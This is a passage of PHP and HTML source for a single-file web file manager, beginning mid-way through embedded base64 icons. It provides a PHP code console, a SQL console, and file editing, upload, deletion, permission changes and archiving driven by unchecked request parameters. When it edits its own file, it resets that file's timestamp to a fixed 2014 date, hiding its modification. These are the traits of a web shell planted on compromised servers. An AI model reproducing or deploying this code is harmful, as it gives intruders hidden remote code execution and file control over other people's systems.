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"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), 